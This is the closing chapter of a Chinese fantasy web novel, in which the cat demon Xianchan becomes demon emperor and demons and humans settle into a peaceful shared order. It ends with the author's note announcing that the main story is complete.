衔蝉看着铲屎官目瞪口呆的样子,顿觉舒爽万分,尾巴尖儿都竖起来了。 后来凌绡再回忆起这一段经历,她自己都还是忍不住想笑。 谁能想到啊,她居然还能沾上臭屁小猫猫的光,也混了个太上皇当。 嗯,虽然只当了半天就被不爽的大白虎降级为皇亲国戚了吧,但该说不说还挺爽的。 她是妖王亲传,妖皇师姐! 感觉已经走上了人生巅峰呢 登基做了妖皇后,衔蝉终于也忙起来了。 要管理妖族上上下下约束大家遵纪守法,要跟人族签订友好盟约,还要应邀去人间开新的灵植园 每天两眼一睁就有一大堆的事情等着虎去做。 衔蝉忽然就悟了虎妈当时为什么那么淡定的接受了她的篡位。 做妖皇,真是个苦差事,做一个负责的妖皇,更是苦中苦! 她一个天性懒散的猫科大妖,居然起得比鸡早,睡得比狗晚,这像话吗! 但万幸,忙的不止她一个。 自从铲屎官回来后,虎妈又忙着从头教(zou)她,她俩每天都忙得很。 山上的大家也忙。 白三姑已经成了总管全妖族内政的内阁部长,阿琅管财政兼雪狐族,三参管外交和贸易,都忙的飞起。 风朔身兼数职,也是忙的没边。 风妧也没闲着,跟着风朔两头跑,两边都时常抓她壮丁去干活,一点闲工夫都没有。 既然大家都忙,衔蝉也就只能老实干活了。 唉,想抓个壮丁都抓不到,愁哦。 不过没关系,只要忙过最初这一段,之后应该就会闲下来的! 吧。 给自己也画了个饼之后,衔蝉又投入到了忙碌的妖皇工作中。 她的忙碌也没有白忙。 在她和大家的共同努力下,妖族一天一个样。 王庭重建起来了,以前零散的大妖大族们也被整合起来了,还与人族重新划分了势力地盘。 岭山山脉以及岭山以南的范围归妖族,岭山以北则归人族。 不过势力划分是势力划分,实际上大家并没有完全分隔开来。 妖族们时常去人类那边溜达,做生意,交流,甚至定居,人族们也一样。 大家一起在越来越多的灵植园里工作,每天吃一样的东西,干一样的活,对彼此的偏见当然也就越来越少啦。 而且随着灵植园越来越多,天地间的灵力也越来越充裕。 资源富裕了,摩擦当然也少了。 曾经的两族大战,两族的历史书上也没有避讳,而是认真的写了出来,让后辈们引以为鉴,不要再重蹈覆辙。 从此以后世上不再分人与妖,只分好与坏。 好人好妖走到哪都受尊敬,恶人恶妖去哪都要受制裁。 新的规则和秩序逐渐建立起来,仿佛连世界都变得焕然一新了—— 作者有话说:正文到这里就完结啦!感谢大家的陪伴么么~《 》